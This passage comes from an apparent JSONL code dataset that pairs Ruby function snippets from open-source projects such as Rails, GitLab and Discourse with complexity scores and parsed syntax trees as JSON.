end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_circular_autosave_does_not_validate_children\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"readers\"]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"sym\",\"children\":[\"should_be_funny\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Reader\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"catch_phrase\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"reader_id\"]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autosave\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anonymous_class\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autosave\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anonymous_class\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"private\"]},{\"type\":\"def\",\"children\":[\"should_be_funny\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"catch_phrase\"]},\"==\",{\"type\":\"str\",\"children\":[\"funny\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"not funny\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catch_phrase\"]},{\"type\":\"str\",\"children\":[\"boring\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"post_id=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"person_id=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"ffec2282-9ff9-4389-97fc-85b1e1dd7dc9"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/template_path_test.rb","start_line":58,"raw_source":"def test_parse_partial\n path = ActionView::TemplatePath.parse(\"foo/_bar\")\n assert_equal \"foo\", path.prefix\n assert_equal \"bar\", path.name\n assert_predicate path, :partial?\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"parse\",{\"type\":\"str\",\"children\":[\"foo/_bar\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"sym\",\"children\":[\"partial?\"]}]}]}]}","id":"e2ad93c1-8260-400a-812b-84f8f4c45952"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_queue.rb","start_line":19,"raw_source":"def drop_jobs!(search_metadata, timeout:)\n start_time = monotonic_time\n completed = true\n deleted_jobs = 0\n\n job_search_metadata =\n search_metadata\n .stringify_keys\n .slice(*ALLOWED_KEYS)\n .transform_keys(&method(:transform_key))\n .compact\n\n raise NoMetadataError if job_search_metadata.empty?\n raise InvalidQueueError if sidekiq_queues.values.compact.empty?\n\n Gitlab::Redis::Queues.instances.map do |key, instance|\n queue = sidekiq_queues[key]\n next if queue.nil?\n\n Sidekiq::Client.via(instance.sidekiq_redis) do\n queue.each do |job|\n if timeout_exceeded?(start_time, timeout)\n completed = false\n break\n end\n\n next unless job_matches?(job, job_search_metadata)\n\n job.delete\n deleted_jobs += 1\n end\n end\n end\n\n {\n completed: completed,\n deleted_jobs: deleted_jobs,\n queue_size: queue_size\n }\n end","complexity_score":52.83,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_jobs!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search_metadata\"]},{\"type\":\"kwarg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_jobs\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"job_search_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_metadata\"]},\"stringify_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_KEYS\"]}]}]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"transform_key\"]}]}]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_search_metadata\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMetadataError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_queues\"]},\"values\"]},\"compact\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidQueueError\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Queues\"]},\"instances\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_queues\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"via\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"sidekiq_redis\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeout_exceeded?\",{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_matches?\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job_search_metadata\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"delete\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted_jobs\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"completed\"]},{\"type\":\"lvar\",\"children\":[\"completed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_jobs\"]},{\"type\":\"lvar\",\"children\":[\"deleted_jobs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_size\"]},{\"type\":\"send\",\"children\":[null,\"queue_size\"]}]}]}]}]}","id":"5f90ca1e-433a-4864-8886-9ed62723917e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/result_matchers.rb","start_line":62,"raw_source":"def ok?\n ok_or_err == :ok\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ok?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ok_or_err\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}","id":"533c4068-cb41-4152-8cc9-fb3194a2e3f6"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":374,"raw_source":"def test_form_tag_hidden_helpers_omit_autocomplete_by_default\n ActionView::Base.with(remove_hidden_field_autocomplete: true) do\n actual = form_tag({}, { method: :patch })\n expected = whole_form(\"http://www.example.com\", method: :patch, no_autocomplete: true)\n assert_dom_equal expected, actual\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_tag_hidden_helpers_omit_autocomplete_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_hidden_field_autocomplete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"form_tag\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"http://www.example.com\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_autocomplete\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}]}","id":"e56abe03-4710-4006-b276-140605738299"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/runner_test.rb","start_line":34,"raw_source":"def test_rails_runner_with_file_path_that_does_not_exist\n command_output = run_runner_command(\"no-file-here.rb\", allow_failure: true)\n\n assert_match(/The file no-file-here.rb could not be found/, command_output)\n assert_equal 1, $?.exitstatus\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_runner_with_file_path_that_does_not_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_output\",{\"type\":\"send\",\"children\":[null,\"run_runner_command\",{\"type\":\"str\",\"children\":[\"no-file-here.rb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"The file no-file-here.rb could not be found\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"command_output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"exitstatus\"]}]}]}]}","id":"9c080be2-6ae5-4eb0-ae9d-926bb27a7ffe"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/profile_images_controller.rb","start_line":13,"raw_source":"def profile_image_owner\n user || organization\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_image_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}","id":"2abd520e-7904-4b70-bd54-2910e4d4392d"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":99,"raw_source":"def self.cached_onebox(url)\n if c = Discourse.cache.read(onebox_cache_key(url))\n c[:onebox]\n end\n rescue => e\n invalidate(url)\n Rails.logger.warn(\"invalid cached onebox for #{url} #{e}\")\n \"\"\n end","complexity_score":12.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cached_onebox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"onebox_cache_key\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"onebox\"]}]},null]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalidate\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid cached onebox for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]}","id":"ee97ce49-6c68-4235-aa05-5a9c4c35efe4"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/lib/open_project/openid_connect/session_mapper.rb","start_line":86,"raw_source":"def expire!\n if session_link\n Rails.logger.debug { \"Expiring user session for OIDC sid #{oidc_session} due to backchannel request.\" }\n remove_linked_session!\n else\n Rails.logger.debug { \"No session link found for #{oidc_session}.\" }\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expire!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_link\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expiring user session for OIDC sid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_session\"]}]},{\"type\":\"str\",\"children\":[\" due to backchannel request.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_linked_session!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No session link found for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_session\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"4af82efe-2415-420e-bc01-bd31063fa887"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1313,"raw_source":"def test_preload_with_some_records_already_loaded\n bob_post = posts(:misc_by_bob)\n mary_post = posts(:misc_by_mary)\n bob = bob_post.author\n mary = authors(:mary)\n\n assert_predicate bob_post.association(:author), :loaded?\n assert_not mary_post.association(:author).loaded?\n\n assert_queries_count(1) do\n ActiveRecord::Associations::Preloader.new(records: [bob_post, mary_post], associations: :author).call\n end\n\n assert_no_queries do\n assert_same bob, bob_post.author\n assert_equal mary, mary_post.author\n end\n end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_with_some_records_already_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bob_post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"misc_by_bob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mary_post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"misc_by_mary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bob\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"author\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mary\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"association\",{\"type\":\"sym\",\"children\":[\"author\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary_post\"]},\"association\",{\"type\":\"sym\",\"children\":[\"author\"]}]},\"loaded?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},{\"type\":\"lvar\",\"children\":[\"mary_post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},\"call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"author\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"mary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary_post\"]},\"author\"]}]}]}]}]}]}","id":"8182bacf-44e1-44e4-a3dd-cd71cfcc402a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/milestones_finder.rb","start_line":87,"raw_source":"def order(items)\n sort_by = params[:sort].presence || :due_date_asc\n\n if sort_by_expired_last?(sort_by)\n items.sort_with_expired_last(sort_by)\n else\n items.sort_by_attribute(sort_by)\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sort_by\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"presence\"]},{\"type\":\"sym\",\"children\":[\"due_date_asc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_by_expired_last?\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sort_with_expired_last\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sort_by_attribute\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]}]}]}]}","id":"ee0edac5-1db8-4110-adc7-79bda05ce3f2"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/log.rb","start_line":40,"raw_source":"def puts(*args)\n args.each{ |arg| write(arg + \"\\n\") }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"puts\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"015ffbae-7aac-4a99-9f00-c82a038fa558"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/assignment_mixin.rb","start_line":258,"raw_source":"def build_tag_tagging_path(obj, klass)\n unless obj.kind_of?(ActiveRecord::Base) # obj is the id of a classification entry instance\n id = obj\n obj = Classification.find_by(:id => id)\n if obj.nil?\n _log.warn(\"Unable to find classification with id [#{id}], skipping assignment\")\n return nil\n end\n end\n \"#{klass.underscore}/tag#{obj.ns}/#{obj.parent.name}/#{obj.name}\"\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_tag_tagging_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Classification\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find classification with id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"], skipping assignment\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"/tag\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"ns\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"parent\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]}]}]}]}","id":"06cb3e28-9336-437a-9fbd-2a4ef61ac9f8"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1275,"raw_source":"def test_purges_current_environment_database\n old_configurations = ActiveRecord::Base.configurations\n configurations = {\n \"development\" => { \"adapter\" => \"abstract\", \"database\" => \"dev-db\" },\n \"test\" => { \"adapter\" => \"abstract\", \"database\" => \"test-db\" },\n \"production\" => { \"adapter\" => \"abstract\", \"database\" => \"prod-db\" },\n }\n\n ActiveRecord::Base.configurations = configurations\n\n assert_called_with(\n ActiveRecord::Tasks::DatabaseTasks,\n :purge,\n [ActiveRecord::Base.configurations.configs_for(env_name: \"production\", name: \"primary\")]\n ) do\n assert_called_with(ActiveRecord::Base, :establish_connection, [:production]) do\n ActiveRecord::Tasks::DatabaseTasks.purge_current(\"production\")\n end\n end\n ensure\n ActiveRecord::Base.configurations = old_configurations\n 